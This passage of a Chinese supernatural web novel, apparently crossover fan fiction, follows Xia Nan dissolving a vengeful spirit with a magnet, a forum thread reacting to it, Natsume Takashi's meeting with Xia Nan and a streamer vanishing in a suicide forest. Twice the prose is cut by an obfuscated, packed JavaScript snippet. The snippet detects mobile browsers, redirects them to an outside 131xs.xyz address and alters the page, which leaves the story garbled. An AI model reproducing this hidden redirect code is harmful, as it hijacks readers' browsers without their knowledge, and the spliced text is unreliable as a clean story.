——第二个问题,被标记的受害者,他身上的标记消失了,这个现象,又是因为什么? 主管女士回答,“消磁。” ——是的,消磁,消的是外来的,暂时附着的那部分‘磁’,而原本属于他自己的磁场,只要他还活着,就能恢复。 夏楠站定了。 阳光已经洒在黑漆漆们的身上,它们看起来变淡了一些,并且,还在持续变淡。 ——在科学的领域,我并非专业人士,目前为止所做的,也仅仅只是给诸位提供一个思路,一个方向。 夏楠忽然伸出手,他的手埋进了脚边堆积的黑漆漆里面,从刚刚开始,这些黑漆漆就开始不停往它的方向挤,现在已经挤成了一团。 ——防守反击什么的,如果再遇到类似的事情,或许可以用你们的方式来解决问题,将一部分神秘,拉入现实。 ——就像人类的祖先曾经做的那样。 神明遁走神界,妖怪排出常世,日升月落归于自然。时间不再是谁掌中的权柄,生命不再拘泥于谁的许可。当第一个仰望星空的人类出现时,这一切,就已经成了定局。小小的世界开始融入更浩瀚的星海,仅仅只起源于一个疑问,一点好奇——天外的世界,是什么样呢? 于是世界走向新的阶段,而界线,也因此萌芽。 夏楠的手从黑漆漆里拽出一个人形,它比那些暗淡了许多的黑漆漆要凝实一些,温度也要更低一些。 从热像仪的画面里看,只能看出这两点情报。 ——磁场增强,那就抵消增强的部分,温度降低,那就加热降低的空间,这是最直观的解法。 夏楠拖着人形走了两步,来到一组永磁体旁边。怨的组成部分——那些在地上匍匐的人形不再跟着他的移动而移动,他们开始逐渐暗淡,开始恢复自己本来的面貌。 因为夏楠主动成为咒怨主体而被吸纳的灵魂们在夏楠收敛另一部分自己的影响后拥有了些许自由,他们清醒了一些,却依旧在清醒的感知痛苦,死前的痛苦。 就算失去了咒,他们依旧还被困在怨里。 ——消磁无法消除它们身上的痛苦,却可以让它们在短时间内恢复相对正常的状态。那么,现在,第三个问题——我现在要做什么? 这次的案例真的十分特别。 咒怨在最初成型时,身位咒的部分并不是哪一个个体,它是一个群体。群体的执念统一在复仇上面,而在复仇完结之后,群体出现了分歧。越来越多的个体不愿意继续伤害无辜的人,于是,渐渐的,他们失去了主干。 故事到这里本该迎来终结,怨气消散,灵魂归于地府,完美的结局。 可惜现实并不是这样。 咒怨吸纳了复仇对象的灵魂,他成了咒怨的一部分。承载着无尽仇恨的对象就在自己身边,于是痛苦又不清醒的灵魂们以为自己的复仇并没有完结,怨消散的条件是复仇成功,可是现在,复仇好像又没有成功。 没人回答夏楠的问题,没人知道他要做什么。 夏楠等了一会儿,开口。 ——在此之前,我给了你们一个方向,但归根结底,我们并不一样。属于你们的路,终究需要你们自己去摸索。 ——现在,让我们换个思路。 夏楠抬起手,将手里拽着的人形,直直怼在了永磁体上。 啊————!!! 一阵尖啸瞬间响起,夏楠手里的人形痛苦的挣扎,疯狂想要逃离。 ——永磁体表面的磁场有多少呢? 主管女士开口,“那是铝镍钴,表面磁场在700到1500G左右。” 她的话音刚落,就有人指着另一块正常画面的显示屏,“快看!” 那里面,原本只有夏楠一个生命体,可现在,不一样了。 满地的人,黑漆漆的人,所有人现在才知道它们为什么会黑漆漆——那一张张扭曲痛苦的面孔,被烧焦的肢体,深深凹陷的眼眶全都对准了正在不停挣扎的人形。 它们无时无刻不在重复死前的苦难,被困在怨气里不得解脱。怨因他们的不甘和复仇心而凝聚,可复仇的曙光却迟迟不肯降临。 它们被困在了规则里。 夏楠的手中,同样是一个烧焦的人,他被夏楠拽着头发,死死按在磁体上。空间的暂时重叠,让不同空间参数的物体相互碰触变成了可能。 ——既然抵消磁场是可行的,那么…… 伴随着痛苦哀嚎的嚎叫,一股巨大的斥力震碎了夏楠半边防护服,夏楠头上的面罩掉在了地上,众人看到了他的脸。 他在笑,漫不经心的笑。 ——……找到成因,解决成因,也是可行的。 夏楠手中的人开始消解,从接触永磁体的部分开始,逐渐消失。它的脸在一寸寸恢复正常,又一寸寸被空气吞噬。 尖叫声不间断的响起,宛若背景音。 山本啊了一声,“是他……”他说道,“……那副画!” 夏楠的手心空了。 他收回手,对着手机,笑着说道,“看,很简单,不是么?” 不需要灵能力者,更不需要复杂的咒语,灵能力者能够做到的事,一些特殊的物质,同样也可以做到。甚至,它可以不是在广泛认知中被赋予一定意义的物品,而是一些……嗯……小众的,科学工具。 复仇终于完成了。 被烧焦的人们那痛苦的神情缓和下来,它们放松身体,紧接着,一个个消失在空气中。 现场安静下来。 在一众摄像镜头里,夏楠精准的看向了所有人正在看的那一个,“现在,第四个问题,”轻飘飘的声音略微有些失真,“当你手握武器时,你会做什么?” —————— 【李涛最新一期视频】 【1L:RT,减掉的地方太多了,一点也不连贯,但完全不影响观赏性】 【2L:同,只是这次老大没什么戏份,扣分】 【5L:还没戏份呢,最后那句问的我鸡皮疙瘩都起来了,什么潘多拉魔盒本盒】 【6L:讲道理,我认为人类还没有做好深入解析灵魂与生命命题的准备,我是说,用科学的方式解析】 【10L:重点的部分都没有放出来,证明老大还是心里有数的,而且看现场布置,这次应该有官方参与。只是防止恶灵害人,其实也还好吧】 【12L:无所谓,无良科学家会出手】 【13L:无所谓,人体工程学家会出手】 【14L:楼上,你别吓我】 【20L:如果人类真的能做到插手死后的世界,是不是会改写死后世界的规则?】 【21L:肯定会】 【23L:那岂不是很不妙?】 【25L:怎么不妙了?不是很好吗?】 【28L:好在哪里?有钱人无限续杯,普通人活不了三天?】 【30L:如果真的变成那样,世界也快完蛋了吧】 【31L:不会很快完蛋,毕竟他们可以人工造人,使用三天销毁,不用发工资还零消耗,只要准备好足够的精子和卵子,以及人造子宫,可无限循环的永动机就出现了】 【32L:快点完蛋,这垃圾世界多活一秒都是对地球和宇宙的不敬】 【33L:想多了,人类世界加速灭亡而已,与地球无关,最多换个智慧生命继续下一波轮回】 【40L:我画了张图,贴一下,图片.jpg】 【按照老大的说法,世界的里侧是乱序的,也是人死后灵魂会进入的地方,然后这个时候,出现了地府与天国,这两个基于人类对于轮回的想象而构建的秩序雷同的空间,于是人类灵魂得以实现真正的轮回】 【发现华点了么?】 【41L:什么华点】 【43L:在老大的这个理论里,地狱和天国是因人的主观认知而存在的(对这一点我个人是存疑的,因为在往期老大的视频当中,有提到过截留空间的概念,它应该是和主观有关,但又不完全主观),但是,老大在最新一期的视频里,给出了一个客观干涉主观的可能性】 【45L:???】 【47L:倒反天罡】 【48L:永磁体是客观存在,而灵魂是基于人类主观才诞生的东西?】 【不对吧,灵魂也是客观吧】 【50L:不不不,你们误会了,灵魂是客观,但曾经的灵魂是归于里世界的,那个时候的灵魂,真的是我们认为的,现在的这副模样吗?】 【老大给出的方法,是用客观事物,改变灵魂目前的存在方式】 【只是个人观点哈,仅供参考(免责)】 【53L:什么意思,直接打回里世界,避开天国和地狱?】 【55L:对】 【56L:我觉得有可能】 【59L:我也,如果死后的世界真的诞生于人类的集体想象,那么那个世界应该存在基本的公平,无限续杯什么的,根本不可能】 【60L:不是说直接回里世界么?还讲什么公平?】 【61L:里世界是乱序的啊,规则都不一样,怎么才能保证自己能准确续杯而不是新倒一杯呢?不是每一个人都能做到在里世界内拥有自己的一小块地盘的】 【63L:利用咒怨?人造一个乱序空间丢进里世界,自己成为那个空间的主宿体,之后再让人把自己捞回来】 【66L:怎么捞?】 【67L:科学家总有办法】 【70L:那也要好久以后才能研究出来了吧】 …… 【100L:你们说的都不对哦】 【101L:那你说,来,话筒给你,你觉得什么对?】 【103L:夏目隐藏了很重要的信息哦】 【105L:谁准你直接喊老大名字的?论坛规则没看?】 【106L:嗯?原来不能直接喊夏目么?我平时都是这么喊的哦】 【109L:你能不能别哦,你哦的我想揍你】 【113L:知情人?具体说说?】 【115L:也不算知情人吧,只是稍微长了那么一点脑子哦】 【118L:……我怀疑你在内涵我,还内涵的特别直白】 【119L:不用怀疑,它就是,这家伙估计就是来捣乱的,举报了】 【121L:+1】 【130L:你们真是太不友好了】 【132L:你怎么还在?】 【135L:一点点小小的技巧而已】 【140L:……我现在真的有点相信你就是老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是猜的。” 的场静司看着路的尽头,“我的人调查到他来了这里,所以我带你们来了这里。” “夏目君不是想见见他么?” “……是。” 的场静司笑了笑,“不用紧张,他应该是个很好说话的人。” “你到底有什么打算?” “名取,你知道么?你现在看起来就像个护崽的老母/鸡。” “啊哈,那你呢?你现在就像个拐卖青少年的惯犯。” 的场静司再次笑了笑,“好吧,既然你一定要问清楚……” “夏目玲子,有人在四处打探这个名字。” “……人?” “对,人,”的场静司说道,“除妖师协会里出现了很多不和谐的声音,这件事,名取你应该也知道才对?” “……这些和夏目又有什么关系?” “关系么……夏目君,”的场静司看向少年,“夏目玲子,是你的什么人?” …… “是祖母。” “夏目玲子,是我的祖母。” —————— “这就是你说的物理超渡?” “用非常规的手段,将亡者塞进地府,倒是一个十分新颖的惩处机制,建议分享一下操作流程么?” 夏楠正在和山本交代去了鬼杀队乖乖配合实验和抽血,山本的脸委屈的皱成一团。 “还有刚刚那个奇怪的布置,是阵法?” “人类的阵法可真多啊,其它的亡者我已经让狱卒押回阎魔殿候审了。” 井下朋花和小岛田凑到夏楠身边,遭遇无情提醒——委托结束记得打钱。 “装看不见我?你的线已经失效了,我随时可以把你拉到这边来。” 夏楠和迹部景吾交换了联系方式。 一个奇形怪状的东西被戳到夏楠面前,是一小块人类的头盖骨。 夏楠无视了头盖骨。 “怎么,不喜欢这种?我还有别的。” 接下来,会叫的金鱼草挂件,扭曲的人偶娃娃,甚至还有谁的假发,夏楠的面前时不时初心稀奇古怪的东西。 主管女士正在郑重的和夏楠保证,绝不会以研究的名字进行犯罪行为,警部开始拉着所有人在一边签订契约。 “他怎么还在?” 夏楠说着,看向晕倒在地的厨师。 警部解释,“还没来得及把他送去局里……” 夏楠打断了警部的话,“我的意思是,他怎么还没跑?” 宇髄天元骄傲叉腰,“当然是因为本大爷,有本大爷在,他怎么可能跑的掉。” 夏楠:…… 他看向警部的方向,虽然视线中间怼进来一个独角男,但他无动于衷,“尽量给他制造一点逃跑的机会。” 警部:“……你的意思是?” “搞事的人躲的太远了,懒得找,”夏楠说道,“他们想要特殊,警部先生,你看我够不够特殊?” “嗯?原来有幕后黑手么?” “你们人类还真是,完全没有变化啊。” “啧,地狱的刑罚还是太轻了,就该让这些屑在地府被折磨个十几二十万年,先下油锅,再进极寒……” 夏楠上车,夏楠闭目养神。 “还不打算说话么?” “我认识一个叫白泽的神奇生物,虽然是个好色的垃圾,但姑且游戏能耐。” 独角男的头穿过车顶,倒吊在夏楠面前。 车子忽然停了下来。 “前面有人拦路,夏目社长,他们说是找你的。” “……哦,是的场家的小鬼。” 夏楠睁开眼睛,打开车窗,探出身体往外看了一眼。 什么都没看到,除了一张阴沉沉的独角鬼脸。 夏楠:…… 他缩回来,继续闭目养神。 “安吾君,你去看看。” 坂口安吾认命下车,独角鬼顺势坐到空出来的位子上,“还不说话么?至少接一下联络信物。” 夏楠终于动了,拿走了金鱼草挂坠。 “品味不错嘛,”独角鬼欣慰点头,“下次来,我会带来一只白色的不明生物,到时候,请毫不留情的往他脸上扔点什么东西,什么都好。” “那么,我就先告辞了。” 41.四十一 呼——呼——呼——呼—— 女性快步在林间移动,一边移动,一边不停回头观望。 呼——呼——呼—— “我真的感觉有什么东西,刚刚你们也看到了吧,有一个人影!” 呼——呼——呼—— “啊!看,指南针也没用,手机上自带的也是,都失灵了!” 女性穿着全套的登山服,背着背包,手中举着运动相机,镜头对准自己的方向。她将另一只手里的指南针和手机屏幕展示给镜头。 “不行,肺要炸了,走不动了。” 女性将手机的指南针界面重新切回直播界面,是的,她在直播。 女性名叫明奈,是一名探险主播,小有名气,她的直播间里,现在聚集了不少看热闹不嫌事大的人。弹幕因为刚刚的情况爆发了一波,如今正有人分析刚才见到的画面。 【我截图了,对比了一下,路过的小哥和上吊的小哥是同一个人】 【真的假的】 【主播快跑吧,不是有安全绳吗?】 【报警了,主播要是实在跑不动就找个安全的地方,那边说很快会派出救援人员】 【一眼假,请的托吧】 明奈看到弹幕里有人说报警,她松了口气,紧接着开始解释,“真的不是!” “啊!” 说话间,她摔倒在地,镜头跟着一起跌落。 “嘶——” 摄像很快被重新捡了回去。 “啊,还好还好,没坏就好,”明奈拍了拍相机上沾到的苔藓与泥土,“花了我好多钱呢,只用一次就坏也太可惜了。” 她说着,挣扎着爬起身,四下看了看。 “完了,完全迷失方向了。” 明奈看了一眼网络还畅通的手机,与社会的连接依旧存在,这让她安心了许多。弹幕里很多人都在说让她顺着安全绳走,她点点头,“我一直在顺在安全绳走,大家放心。” 之前骤然见到上吊自杀的人的尸体这件事还让她心有余悸,明奈缓了一会儿,接着往前走。 “脚好像扭到了……算了,不疼不疼,只要不觉得疼它就没有扭。” 轻快的语气让原本气氛有些紧张的直播间重新出现了打趣的声音,明奈的速度慢了下来,但她依旧在坚持移动。 “这点小伤不算什么,新观众们可能不知道,我之前的户外直播,直接摔断了胳膊呢!最后还是自己走出来的,厉不厉害?” “话又说回来,这里真的很容易迷失方向啊,到处都长的一模一样。” 远离了那个自杀的人,明奈的恐惧减轻了许多,她看是边走边和弹幕互动,“看,这棵树!是不是一模一样?” 【喂喂,刚刚见到尸体就跑的家伙,在这里说什么呢?】 【……不会又有一具尸体吧?】 “不会不会,我可是先看了树冠再拍给你们的,”明奈笑眯眯的,她的心底产生一点疑惑——自己之前,有路过这样的地方吗?——可是这点疑惑很快就被打消了,“……那里好像有双鞋?” 【我去,不是吧,真有?】 【别看了明奈,快走】 比起零星建议她走的弹幕来说,更多的都是怂恿她上去看看情况的人,明奈为了流量,咬咬牙,走了过去。 “……只有鞋。” 明奈松了口气。 她直起身,打算继续往前走,忽然发现,自己明明好好系在森林尽头的安全绳的一端,不知道什么时候,被移到了这里,就在眼前这颗树的树干上。 明奈愣住了。 “……怎么会这样?” 她的语气里透出疑惑,抬起头四下看了看。 有什么东西,触碰了她的后脑勺。 明奈下意识回头。 “……啊!!” 她摔倒了,镜头再次掉在地上,只拍到明奈惊恐往后爬的动作。弹幕里一片问号,有人质疑是演的。 明奈已经无暇顾及弹幕,她试图捡起摄像离开,又摔了一跤。短暂的惊呼过后,是明奈惊恐的叫声。然而这个叫声并没有维持太久。 一切很快恢复平静。 【不是吧,人呢?】 【别演了,快出来】 【拙劣的戏码】 【我刚刚都看到那个上吊小哥一闪而过的脸了,就说是托】 弹幕刷了一会儿,等待了一会儿,可直到信号中断,镜头里都没有再次出现明奈的身影。 【报警吧,不对劲】 —————— 的场静司。 夏楠先看到的,是这个人, 他打开车门,走了下去。 坂口安吾领着人走过来,因为拦路的人里有除妖师协会的荣誉会长,警部也跟了过来。 “夏目,这位是的场家家主,的场静司。” 夏目没什么表情的点了点头,“夏楠。” “夏目社长好像心情欠佳?” “他只是累了,”松田阵平也跟了过来,“毕竟忙了一个晚上。” “哦?”的场静司环顾众人,“忙了一个晚上?” “说起来,前面的车队,车里面装了些什么?看起来很重的样子。” 警部咳嗽了一声,转移话题,“不知道的场家主找夏目社长有什么事?” 如果不是因为拦路的人里有的场静司,警察早就赶人了,谁家好人站路中央拦车找人的啊? “不,并不是我,”的场静司笑着回答,“是这位小友。” 他让开身位,露出了身后的人。 一个神情有些局促的少年,少年的怀里抱着一只圆滚滚的,酷似招财猫的三花,三花圆溜溜的眼睛一眨不眨的看向了夏楠。 夏楠:…… 他忽然动了,两步走进少年身边,未卜先知一样按住了炸毛的猫,凑近了少年的脸。 少年被吓了一跳,后仰着往后躲。 就在这时,一只手拦了过来。 “这位先生,凑这么近是不是不太好?已经超过正常的社交距离了吧?” 夏楠眨了下眼,重新站好。他没理伸手阻拦的人,只是看着眼前的少年。 “你叫什么?” 少年有些局促的避开了夏楠的视线,他说道,“夏目贵志,我叫夏目贵志。” 夏目贵志。 友人帐。 夏楠再次眨了下眼,“你好,夏目贵志,我叫夏楠,在霓虹这边,我姓夏目。” “你好,夏目先生。” 少年礼貌的问好,顺便用力按住了怀里炸毛想要跳到地上的猫。 “找我有什么事?” 夏楠罕见的柔和态度让在场所有熟悉他的人侧目。坂口安吾的视线在夏目贵志的身上转了一圈,他推了下眼镜,默默调整了一下自己的站位,以便于更好的看清双方的表情。 “我……”夏目贵志犹豫了一下。 人太多了,好多不认识的人,警察……他还没在这么多警察的瞩目下说出自己的目的这么傻白甜。 能看到妖怪这种事……说出来只会被当做是骗子吧…… “不会哦。” 夏目贵志愣了一下,他有些呆的看向眼前的青年。 浅色的发丝,令人十分惊艳的长相,不仅如此,还很有气势。不像是的场先生那种神秘的、令人有些抗拒的气势,而是某种……强大的…… 夏楠忽然笑了。 “要跟我走么?” “……什么?” 的场静司在旁边笑了一声,他看向身边脸色很不好的青年,“你还说我像诱拐犯,现在呢?” 名取周一:…… 夏楠重复了一遍。 松田阵平略震惊——难道真是因为年龄? 他的视线在夏目贵志身上转了两圈——说起来,无论是太宰治还是千寻,夏目对他们的态度确实要比其他人更加耐心一些。 不,不对,太宰治和千寻是探灵社的成员,不好这么对比。 夏目贵志有些惊讶,但他还是认真的开口回绝,“抱歉,夏目先生,我有想要回去的家。” “嗯。” 夏楠随意嗯了一声,“那么,你找我的目的是?” 夏目贵志再次开始犹豫,他不知道如何开口。在从西村他们口中得知有这样一个十分厉害的驱魔人以后,他就拜托滋叔叔查过自己是不是还有远房亲戚,得到的答案是的确有一家,在二十年前就搬去了种花。 对上了,和那个厉害的驱魔人的身份对上了。 他只是想要确认一下。 但寻找的目的,又不仅仅只有确认那么简单——你也能够看到吗?那个世界,那些……妖怪? 夏目贵志张了张嘴。 滴滴滴滴滴—— 一道声音打断了众人的交流,警部默默的顶着好几道视线,掏出手机看了一眼。 …… “抱歉,如果你们有什么事,可以之后再说,”警部的神色很严肃,他看向夏楠,“夏目社长,要麻烦你了。” 夏楠打了个问号。 “松田,你和萩原带着夏目社长过去,”警部在手机上操作两下,紧接着,松田阵平和充当夏楠他们这辆车司机的、正趴在车窗边看热闹的萩原研二的手机相继响了起来,“有人失踪了,去这个地址。” “这里我们一直有关注,”由于有外人在场,警部并没有明确说地址在哪里,只是含糊其辞,“有一名主播刚刚在这里失踪。” “我还要跟随车队回警视厅,案发地点离这里很近,请去把她带回来。” 警部看着夏楠,对着夏楠眨了眨眼。 夏楠随了个眨眨眼。 警部:…… 默契,默契呢? 松田阵平和萩原研二在看到信息以后立刻结伴去了前面警部乘坐的那辆车。 “如果是灵异事件,或许我们帮的上忙?” “不必,”面对的场静司的主动请缨,警部拒绝的特别干脆,“只是寻回失踪的人,并不需要的场家主亲自出马。” “哦?不需要我亲自出马?却需要鼎鼎大名的夏目社长亲自出马?” 警部严肃了神色,继续转移话题,“抱歉,的场家主,时间不等人。”他说着,又冲夏楠眨了眨眼。 夏楠继续随眨眨眼。 警部:…… 就在这时,松田阵平和萩原研二回来了,他们架着一个人,这个人身上穿着防护服,两只手被两边的人死死抓住,动弹不得。 是再次恢复苏醒的厨师。 两人旁若无人的将厨师塞进了车,紧接着,跟着坐了进去。 只能说,好在是辆SUV,比较能装。 夏楠似笑非笑的看了眼一脸严肃仿佛什么都没看到的警部,转身上车。 “等……等一下!” 夏目贵志的声音在夏楠身后响起,“请问,我是说,可以留一个联系方式吗?” 警方应该有急事,夏目贵志想道,不能打扰……只要一个联系方式就好,这样的话,至少…… “贵志君,我可以这样喊你么?” “……可以。” “嗯,”夏楠站在车门边,手搭在门框上,“贵志君要和我走么?” “我……”虽然不知道对方为什么会再问一次,夏目贵志还是认真回答,“对不起,我有想要可以回去的家。” 他不自觉的换了个措辞。 属于他的家,那里有滋叔叔,有塔子阿姨。那里有他的那些损友们,有知道他能看到妖怪,却依旧愿意接纳他的好朋友。 那里…… 夏楠已经上车了。 夏目贵志有些不知所措,他不知道是不是自己的两次拒绝惹恼了眼前的人,他还有没来得及问出口,想要问的话。记忆中只剩模糊身影的父亲,完全没有印象的母亲,以及……夏目玲子,他的祖母,友人帐的制作者。 关于这些人,关于他自己,所有。 “至少留个联系方式吧,”名取周一有些看不下去了,他上前一步,“夏目君有些内向,这位夏目社长,”名取周一露出自己的招牌亲和力满分笑容,“只是一个联系方式,毕竟,夏目真的有很重要的事情找你。” 夏楠坐在了座位上,他的视线越过名取周一,“贵志君,探灵社的地址就在横滨,现在,我问你第三遍,”他轻飘飘的说着,“要和我走么?” 夏目贵志抿了抿嘴,刚要回答,夏楠的声音再次响起。 “不要急着回答,”夏楠说道,“贵志君,你要知道,如果你不打算和我走,就不该与我扯上关系。” “现在就离开,忘记今天的会面,是最好的选择” …… “为什么?” 夏目贵志不解。 坂口安吾看了眼夏楠,犹豫了一下,还是选择开口,“这位夏目君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781939|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你知道横滨是座什么样的城市么?” 夏目贵志被问的愣了一下,他犹豫着开口,“……一座海滨城市?” 隐约意识到什么的名取周一退开了,他虽然不太了解,但总有些风评传进他耳朵里,那些风评说的是…… “表面上,的确如此。” 坂口安吾有些不知道怎么和眼前这名一眼望的到底的干净少年解释,他只是不想浪费夏楠的善意,不论这名少年出于什么理由接触夏楠,这件事必须被喊停。 特别是现在,特别是夏楠已经明确表露了自己以身做饵的意图的现在。 很多事都不适合开口,但,如果…… 坂口安吾推了下眼镜,选择了最简单的方法,“接触社长,你会遭遇危险,不仅仅是你自己,你的亲人、朋友,你所重视的家,都会遭遇危险,”顿了顿,他补充道,“生命危险。” 夏目贵志惊讶的瞪大了眼睛,他有些不太能理解,“可是……如果是妖怪……”他忽然闭上了嘴,懊恼自己一不留神出口的词汇。 只是他还来不及紧张,脸上就遭遇了一记飞踢。 “蠢货,他说的是来自人类的危险!” “老师?!” 夏目贵志被踹的倒退好几步, 圆滚滚的三花猫口吐人言,从夏目贵志的怀里跳到地上,端正坐好。 萩原研二惊奇道,“猫说话了!” 他隔着厨师拽了拽松田阵平,“快看,招财猫说话了!” “喂!那边的小子,你说谁招财猫呢?”三花猫对着萩原研二危险的眯起眼睛,“你是对本大爷美妙的身姿有什么意见吗?” 它说着,抬起前爪挠了挠耳朵。 不行,这个动作更像招财猫了。 萩原研二侧过头,噗了一声。 紧急阻拦猫咪老师的夏目贵志再次听到了夏楠的声音,“你身边的的场家主知道探灵社的具体位置,如果你想好了,随时可以来。” 夏目贵志抱住不停挣扎的猫的手臂僵住,他看向车门的方向,那里,那名很可能认识自己父亲的、很可能是自己亲戚的夏目,正看向他。 冷淡的目光。 “前提是,你真的想好了,”夏楠说道,“我这里,从来不是过家家的小朋友能待的地方。” 夏目贵志忽然低下头,他也不知道为什么会这么做,只是一股莫名的羞愧感涌上心头,“抱歉,抱歉打扰了。” 他说着,忽然站起身,抱着猫,转头就跑。 坂口安吾:…… 他用控诉的目光盯夏楠。 名取周一跟着说了声抱歉,跑走去追少年,的场静司却十分自来熟的坐上了车,“好了,小朋友的场合结束,现在,我们可以聊聊大人的事情。” —————— “请等一下!等一下!” “停车!快停车!” …… 赶往案发地点的途中,四名年轻人站在路中央,不停的挥舞手臂,迫使萩原研二不得不踩了刹车。松田阵平向前面看去,那四名年轻人已经跑了过来。 “让我们上车,带我们离开!” 四名年轻人不停的拍打车窗,试图拽门。 “快开门啊!开门!” 萩原研二与松田阵平对视一眼,接着看向坂口安吾。情况不对,驾驶室不能离人,松田阵平又有厨师这个暂时看管的任务在,夏楠闭目养神中,的场静司一点插手的意思都没有,两人只能指望坂口安吾去询问情况。 坂口安吾:…… 他认命半开车窗。 “怎么了?” 窗外的四个人只是不停让他们开门,“求求你们,带我们一起走,求求你们了!” 就在这时,一声巨响从前挡风玻璃处传来,四人看清什么情况,瞬间开始尖叫着后退。 啊啊啊啊! “它们追来了,他们追来了!” 夏楠睁开了眼。 想补个眠而已,太难了。 耳边传来的场静司的声音,“啊……原来到这附近了么?” 松田阵平神情严肃起来,他看了眼身边一见到夏楠就开始装鹌鹑的家伙,想了想,十分刻意的将手铐的钥匙‘不小心’落在座位上,接着,打开车门,下了车。 坂口安吾看向的场静司,“什么附近?” 的场静司倒是爽快,直接开口回答,“一片诅咒之地,用探灵社的话来讲……咒怨?”他示意了一下不远处的岔路口,“就在那条路的尽头。” 萩原研二的脸色很不好看,就在刚才,一个人,砸在了挡风玻璃上,从上而下,脸上还带着笑。 松田已经来到车前,他仔细查看了一下,对着车内摇了摇头。 “没人。” 这并不是一个好消息。 那拦车的四人语无伦次,其中两人开始沿着道路跑,试图逃离,松田阵平阻止无果,只能和同样下车帮忙的坂口安吾拦住另外两个,见两人一副被吓破胆的样子,干脆先把人往车里塞。 “最好还是不要这么做。” 的场静司开口。 松田阵平和坂口安吾塞人的动作停住了,他们不确定的看向……夏楠。 嗯,这种时候,果然还是自己人可信一些。 夏楠配合了他们一下,“你们在演什么,哑剧么?” 松田阵平和坂口安吾都是很聪慧的人,只这一句,立刻反应过来。两人缓缓看向自己拉着人的手……手中哪里还有人。 冷汗,唰的一下,冒了出来。 “上车吧。” 夏楠的声音唤回了他们,两人四下看了看。默了一会儿,紧接着,默默上车。 很怪。 夏楠想道。 他不再试图继续小憩,而是微微垂着眼。 再看看。 距离案发地还有17公里左右,树海村,霓虹的自/杀圣地,一个失踪的探险博主。短短一段路,他们人都还没到地方,又冒出了伥鬼。 挺有意思。 萩原研二默默开车,刚刚的诡异场景就发生在青天白日之下,他不知道该说些什么,还有刚刚那四个年轻人…… 滋———— 刹车再一次被踩下。 一对年轻男女从道路旁边突然闯进马路中央,两人跑了几步,忽然回头,一脸恐惧的看向身后的方向。 萩原研二:…… 没完了还。 42.四十二 萩原研二顺着两人目光的方向看了一眼——什么都没有。 “小夏目,它俩是幻觉,还是真人?” 夏楠开口,“萩原可以直接踩油门……” 萩原研二果断将脚尖移动到油门上,刚刚要踩,夏楠的声音再次响起,“……运气好的话,他们两个只会轻微擦伤。” 萩原研二紧急停止动作。 他回过头,控诉的看向夏楠,“我刚刚真的差点就油门到底了,小夏目。” 夏楠歪头,“抱歉?” 萩原研二:…… 他叹了口气,“好吧,看在小夏目可爱的份上,这次就不和你计较了。” 坂口安吾露出十分抗拒的神色——可爱?什么可爱?你说谁可爱?你没事儿吧?你的眼睛还好吗? 车外的两人注意到了停止的车辆,他们慢慢移动到车辆旁边,坂口安吾注意到,这两个人一直在交替睁眼,看向同一个方向。 两人敲响了车窗,“你好,请问可以搭车么?” 夏楠直接打开了车门,两人中的男性看到了夏楠的脸,啊了一声,“老大!” 夏楠:…… 男性瞬间激动起来,他抓着身边女性的手臂,“我们有救了,我们有救了!” “老大,我们现在看到的是幻觉对不对,我们被标记了吗?她一直追着我们,只要稍微离开视线就会越来越近,她已经害死好几个人了,老大我现在该怎么做?” 男性一口气说了一大长串的话,接着深吸一口气,“老大我们本来不在这里的,也不知道为什么就跑到这里来了,哦对了!有人将她的故事上传到网上了,只要听到过、看到过她的故事的人都会被标记!老大我们本来打算报警来着,但是被……额,之前我们有一个同行人,他自己开着车跑了,他的妻子也听他讲过这个故事……” 眼见男性的话越来越多,他身边的女性都听不下去了,伸手推了他一把,“你能先上车吗?” “哦对对,”男性迎着一车人的视线,动作别扭的上了车,他的目光还定在不远处的位置,“她真的离我们很近了,我怀疑是规则,不能让她碰到我们。” 碰到就会爆眼球。 松田阵平想象了一下那个画面…… 嗯…… 就在这时,一道身影推开了正在上车的女性,从后座冲下了车。松田阵平微微眯眼,嘴上喊了一句,“不好,他要跑!”动作却不紧不慢,他扶起被撞倒地的女性,正要询问对方怎么样,女性却看着他的方向露出了惊恐的神色。 就在刚才,那道身影推开她的时候,使她的视线偏移了一瞬间,而也是在这瞬间,男性的视线也被车门前的人阻挡。 她已经来到了面前,伸手就可以触碰到的位置。 “不……不要……” 松田阵平立刻意识到,对方看的不是他,而是他的身后。 什么东西,在他的身后。 不,不对,应该是在她的幻觉里,或者她所能看到的重叠的空间里,对方,就在他身后。 松田阵平的手摸到了腰侧。 就在这时,一只手,抓住了女性的胳膊。 “上车。” 夏楠将懵逼的女性拉进了车里,“我们还有别的事,不要耽误时间。” 女性懵了一会儿,忽然看向之前看的方向。 “不……不见了……” 男性瞪大了眼睛,“不愧是老大!” 松田阵平:…… 的场静司忽然出声,“有人跑了呢,警官,不去追么?” 哦,对。 松田阵平装模作样的四处看了看,“哎呀,这里实在太危险了,他……” 厨师又跑了回来。 他的身上还穿着防护服,整个人看起来格外笨重,动作像是一只摇摇摆摆的企鹅。 松田阵平:……什么鬼? 喉咙间准备好的说辞重新咽了回去,第六感告诉他情况有些不对,他默默移动了一下站位,给驾驶室的萩原研二留出了一定的视野空间。 “松田,上车。” 松田阵平听到夏楠的声音。 “那不是他。” “上车,立刻!” 第一次听到夏楠用如此严肃且简短的语气说话,松田阵平立刻反应,他一下缩上了车。 “hagi!” 萩原研二这次终于得以直接油门到底,车辆瞬间弹射起步,窜出好远一段距离。 奔跑的防护服停了下来,越来越远。 “夏目,怎么回事?” 新上车的两人默默缩到了后座,不敢吭声——居然是警官,是执行任务的途中吗?刚刚那个人是嫌疑犯吗? 夏楠沉着脸,“松田,去萩原身边。” 空间干涉。 异能力?还是谁的术法? 